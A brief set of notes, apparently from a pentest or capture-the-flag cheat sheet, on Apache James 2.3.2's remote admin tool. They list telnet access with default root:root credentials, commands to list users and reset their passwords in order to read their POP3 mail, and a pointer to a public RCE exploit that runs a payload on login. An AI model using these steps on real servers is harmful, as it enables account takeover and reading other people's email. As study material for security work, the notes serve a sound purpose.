james remote admin tool

v2.3.2

# telnet IP PORT

# default root:root

listusers
verify <user>
setpassword <user> <new-password>
# after setpassword, now can check pop3 for emails


RCE will create a new user and payload will be executed when someone logs in.

exploit/apache_james_2-3-2.py at master · am0nsec/exploitGitHub